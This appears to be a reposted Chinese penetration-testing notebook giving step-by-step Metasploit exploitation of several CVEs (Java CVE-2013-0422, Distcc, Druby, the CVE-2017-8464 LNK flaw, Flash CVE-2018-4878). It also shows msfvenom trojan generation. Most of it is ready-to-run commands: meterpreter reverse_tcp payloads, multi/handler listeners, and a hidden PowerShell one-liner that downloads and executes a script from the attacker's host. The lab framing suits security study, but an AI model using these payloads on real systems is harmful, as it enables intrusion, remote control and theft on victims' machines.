15. java cve-2013-0422

use exploit/multi/browser/java_jre17_jmxbeanset payload windows/meterpreter/reverse_tcpset srchost 192.168.1.10set lhost 192.168.1.10set rhost 192.168.1.100set target 1show optionsexploit

16.Distcc后门漏洞

安全组织索引:CVE-2004-2678、OSVDB-13378

原理:

Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是Xcode 1.5版本及其他版本的 distcc 2.x版本配置对于服务器端口的访问不限制

利用步骤:

msfconsoleuse exploit/unix/misc/distcc_execset RHOST 192.168.1.10exploit

id 查看权限

uname -a 验证

17.Druby命令执行

Druby配置不当,被滥用执行命令

利用步骤:

启动metasploit

发现8787 Druby端口

search drb 搜索drb相关漏洞

use exploit/linux/misc/drb_remote_codeexecset URL druby://192.168.1.10:8787 ,设置目标druby链接exploitid,uname -a

18.CVE-2017-8464震网三代(远程快捷方式漏洞)

漏洞介绍

北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543).

1

CVE-2017-8543,当Windows搜索处理内存中的对象时,存在远程执行代码漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。

CVE-2017-8464,当Windows系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。

受影响的版本

Windows 7

Windows 8.1

Windows RT 8.1

Windows 10

Windows Server 2008

Windows Server 2008 R2

Windows Server 2012

Windows Server 2012 R2

Windows Server 2016

实验环境

攻击机:kali

IP地址为:192.168.10.118

靶机:win7

IP地址:192.168.10.119

利用过程详解

payload1:msfconsole

search 2017_8464

use exploit/windows/fileformat/cve_2017_8464_lnk_rce

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.10.118(你的IP)

exploit

之后会在/root/.msf4/local目录下生成我们的利用文件

注意:kali2.0下无法直接访问该文件夹,可通过命令行将/root/.msf4/local/下的所有文件复制到/root/1下

cp -r /root/.msf4/local/ /root/1

全部复制到移动磁盘里面(u盘拷贝),然后在msf中监听:

search multi/handleruse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.10.118 (你的IP地址)run

payload2:利用Powershell快捷键

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 -f psh-reflection>/opt/search.ps1

然后将/opt/目录下的search.ps1文件移动到/var/www/html/下

随后打开Apache服务

service apache2 start

访问web下的sp1文件

然后在目标机上建立一个快捷方式

powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.118/search.ps1’);test.ps1”

这里写我们构造好的代码

然后选中powershell.exe

再到本机上配置监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.10.118

run

19.flash oday(CVE-2018-4878)

漏洞详情

0x01 前言

Adobe公司在当地时间2018年2月1日发布了一条安全公告:

https://helpx.adobe.com/security/products/flash-player/apsa18-01.html

公告称一个新的Flash 0Day漏洞(CVE-2018-4878)已经存在野外利用,可针对Windows用户发起定向攻击。攻击者可以诱导用户打开包含恶意 Flash 代码文件的 Microsoft Office 文档、网页、垃圾电子邮件等。

0x02 漏洞影响

Flash Player当前最新版本28.0.0.137以及之前的所有版本

0x03 漏洞复现

环境测试:

攻击机:kali

目标靶机:win7x64 +IE8.0+FLASH player28.0.0.137

1.下载cve-2018-4878的脚步利用

wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar

2.解压压缩文件后,可看到cve-2018-4878.py和exploit.swf 我们只需要cve-2018-4878.py

3.我们需要对cve-2018-4878.py进行修改,原作者将代码中的stageless变量改成了true,正确的应该改成:stageless = False,另外别忘了修改最后的路径。

附上原作者的exp地址:https://github.com/anbai-inc/CVE-2018-4878.git

4.其次需要修改替换原来弹计算器的shellcode

5.在kali下生成msf的shellcode(注意:一定要在老版本kail下生成大小为333字节的payload)

msfvenom -p windows/meterpreter/reverse_tcp lhost=your host lport=your port -f python>shellcode.txt

6.将生成的shellcode替换掉原有cve-2018-4878.py中的shelldoce即可

7.在kal下执行cve-2018-4878.py,这里需要和index.html在一个目录下,即可生成恶意的exploit.swf

8.这里为了演示我将index.html和exploit.swf一同拷贝到目标靶机win7x64上,在ie浏览器下打开(也可以通过搭建web服务器的形式将index.html和exploit.swf放在web目录下,访问地址来打开)。

9.在msf 下进行监听设置

msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 10.0.0.217msf exploit(handler) > set lport 443msf exploit(handler) > exploit

10.当打开目标恶意的index.html页面时,即可触发反弹shell

20.MSF木马生成使用

木马生成:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe

本地监听:

msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 10.0.0.217msf exploit(handler) > set lport 4444msf exploit(handler) > exploit

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
metasploit渗透测试笔记(内网渗透篇)
kali
2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用
网络安全实战之植入后门程序
frp反向代理+内网穿透+ Metasploit渗透windows
windows权限提升——烂土豆 dll劫持 引号路径& 服务权限
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服